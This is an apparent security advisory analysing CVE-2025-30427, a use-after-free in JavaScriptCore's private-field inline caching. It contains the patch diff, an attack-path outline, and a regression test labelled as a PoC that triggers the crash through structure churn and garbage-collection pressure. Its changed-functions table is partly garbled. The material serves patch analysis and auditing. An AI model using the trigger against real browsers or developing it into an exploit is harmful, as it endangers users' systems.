CVE-2025-30427
Overview
Background
- Inline cache (IC) / Repatch
- JSC caches property accesses; Repatch.cpp builds/repatches the cached cases.
- Property-miss condition set
- Watchpoints/conditions over prototype-chain structures that a cached access assumes remain valid.
- Private name field
- A class #private field; a direct own-property define that does NOT need prototype-chain conditions.
Root Cause Analysis
The bug is in JavaScriptCore’s inline-cache generation for property access in Repatch.cpp, on the private-name path. In tryCachePutBy, the DefinePrivateNameById/DefinePrivateNameByVal cases called generateConditionsForPropertyMiss() to build a property-condition set for the define, and gave up if it was invalid. That is wrong: defining a static/instance private field is a direct own-property operation with a known structure transition and does not depend on prototype-chain ‘property miss’ conditions. Generating such a condition set attaches watchpoint/condition objects that reference other structures; those references can become stale as structures are reclaimed, so a later use or repatch of the cached case can dereference freed condition/structure objects — a use-after-free, matching the ‘unexpected Safari crash’ impact.
The fix removes the generateConditionsForPropertyMiss call from the DefinePrivateName cases (private fields need no property conditions), and hardens the surrounding state machine: on the private get path it adds RELEASE_ASSERT(conditionSet.isEmpty()) to enforce that private gets carry no conditions; PrivateName/PrivateNameById get kinds and SetPrivateNameById/SetPrivateNameByVal put kinds are moved to RELEASE_ASSERT_NOT_REACHED() so the caching machinery cannot silently follow a path that would build conditions for them; and tryCacheInBy’s default case becomes RELEASE_ASSERT_NOT_REACHED() instead of a silent break.
The restored invariant: private-name field accesses are cached without prototype-chain property conditions, so no stale condition objects can be created or later dereferenced. The regression test defines a class with a static #private field and repeatedly instantiates it while mutating proto and allocating Float64Arrays to force structure churn and GC, exercising the previously stale conditions. INFERENCE: the exact freed object and repatch site that dereferences it are in the IC repatch/GC machinery not fully shown here; the commit establishes that the erroneous condition set was created and is now removed.
Attack Path
- Define a class with static private fields The page runs JavaScript declaring a class with a static #private field (as in the regression test), whose define goes through JSC’s private-name PutBy inline cache.
- Force repeated caching with structure transitions The script instantiates the class many times and mutates object shapes (e.g. Object.proto reassignment) so the DefinePrivateName inline cache builds property-miss condition sets.
- Apply GC pressure Large allocations (new Float64Array(…)) trigger garbage collection that can reclaim structures referenced by the spurious condition objects.
- Re-run the cached access Subsequent execution repatches/checks the cached private-name case, dereferencing a condition or structure that GC has freed.
- Trigger the use-after-free The dangling dereference corrupts or reads freed memory, producing the unexpected Safari crash (and, with heap grooming, a potentially exploitable primitive — standard escalation, not shown by the patch).
Impact Assessment
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifSource/JavaScriptCore/bytecode/Repatch.cpp |
modified | |
forJSTests/stress/static-private-fields-dont-need-property-conditions.js |
modified | |
C21JSTests/stress/static-private-fields-dont-need-property-conditions.js |
modified |
Files Changed
JSTests/stress/static-private-fields-dont-need-property-conditions.jsSource/JavaScriptCore/bytecode/Repatch.cpp
Audit Directions
- Condition sets on non-prototype accessesGrep tryCachePutBy/tryCacheGetBy for generateConditionsForProperty* on private-name/own-property kinds that shouldn’t carry conditions.
- Unreachable IC kindsEnsure private-name kinds hit RELEASE_ASSERT_NOT_REACHED rather than silently building caches.
Patch
diff --git a/Source/JavaScriptCore/bytecode/Repatch.cpp b/Source/JavaScriptCore/bytecode/Repatch.cpp
index 075b4de86dd3..0a69aac032c0 100644
--- a/Source/JavaScriptCore/bytecode/Repatch.cpp
+++ b/Source/JavaScriptCore/bytecode/Repatch.cpp
@@ -497,6 +497,9 @@ static InlineCacheAction tryCacheGetBy(JSGlobalObject* globalObject, CodeBlock*
newCase = AccessCase::create(vm, codeBlock, AccessCase::IndexedProxyObjectLoad, nullptr);
break;
}
+ case GetByKind::PrivateName:
+ case GetByKind::PrivateNameById:
+ RELEASE_ASSERT_NOT_REACHED();
default:
break;
}
@@ -635,6 +638,7 @@ static InlineCacheAction tryCacheGetBy(JSGlobalObject* globalObject, CodeBlock*
else {
if (isPrivate) {
RELEASE_ASSERT(!slot.isUnset());
+ RELEASE_ASSERT(conditionSet.isEmpty());
constexpr bool isGlobalProxy = false;
if (!slot.isCacheable())
return GiveUpOnCache;
@@ -1113,13 +1117,9 @@ static InlineCacheAction tryCachePutBy(JSGlobalObject* globalObject, CodeBlock*
break;
}
case PutByKind::DefinePrivateNameById:
- case PutByKind::DefinePrivateNameByVal: {
+ case PutByKind::DefinePrivateNameByVal:
ASSERT(ident.isPrivateName());
- conditionSet = generateConditionsForPropertyMiss(vm, codeBlock, globalObject, newStructure, ident.impl());
- if (!conditionSet.isValid())
- return GiveUpOnCache;
break;
- }
case PutByKind::ByIdDirectStrict:
case PutByKind::ByIdDirectSloppy:
case PutByKind::ByValDirectStrict:
@@ -1213,12 +1213,13 @@ static InlineCacheAction tryCachePutBy(JSGlobalObject* globalObject, CodeBlock*
}
case PutByKind::DefinePrivateNameById:
case PutByKind::DefinePrivateNameByVal:
+ case PutByKind::SetPrivateNameById:
+ case PutByKind::SetPrivateNameByVal:
+ RELEASE_ASSERT_NOT_REACHED();
case PutByKind::ByIdDirectStrict:
case PutByKind::ByIdDirectSloppy:
case PutByKind::ByValDirectStrict:
case PutByKind::ByValDirectSloppy:
- case PutByKind::SetPrivateNameById:
- case PutByKind::SetPrivateNameByVal:
return GiveUpOnCache;
}
}
@@ -1566,7 +1567,7 @@ static InlineCacheAction tryCacheInBy(
break;
}
default:
- break;
+ RELEASE_ASSERT_NOT_REACHED();
}
} else if (wasFound) {
if (!structure->propertyAccessesAreCacheable())
diff --git a/JSTests/stress/static-private-fields-dont-need-property-conditions.js b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
new file mode 100644
index 000000000000..37ccd62442c2
--- /dev/null
+++ b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
@@ -0,0 +1,28 @@
+function f0() {
+}
+const v3 = Object.getOwnPropertyNames(this);
+this / Object;
+const v7 = f0();
+try {
+ Object(f0, true);
+} catch(e11) {
+}
+for (const v12 of v3) {
+ const v14 = this[v12];
+ for (let i16 = 0;
+ (() => {
+ class C21 extends Object {
+ static #f = v14;
+ 6 = Object;
+ }
+ new C21();
+ new C21();
+ new C21();
+ Object.__proto__ = v3;
+ new Float64Array(2887);
+ return i16 < 32;
+ })();
+ i16++) {
+ }
+ Object[v12] = this;
+}
\ No newline at end of file
Regression Test / PoC
diff --git a/JSTests/stress/static-private-fields-dont-need-property-conditions.js b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
new file mode 100644
index 000000000000..37ccd62442c2
--- /dev/null
+++ b/JSTests/stress/static-private-fields-dont-need-property-conditions.js
@@ -0,0 +1,28 @@
+function f0() {
+}
+const v3 = Object.getOwnPropertyNames(this);
+this / Object;
+const v7 = f0();
+try {
+ Object(f0, true);
+} catch(e11) {
+}
+for (const v12 of v3) {
+ const v14 = this[v12];
+ for (let i16 = 0;
+ (() => {
+ class C21 extends Object {
+ static #f = v14;
+ 6 = Object;
+ }
+ new C21();
+ new C21();
+ new C21();
+ Object.__proto__ = v3;
+ new Float64Array(2887);
+ return i16 < 32;
+ })();
+ i16++) {
+ }
+ Object[v12] = this;
+}
\ No newline at end of file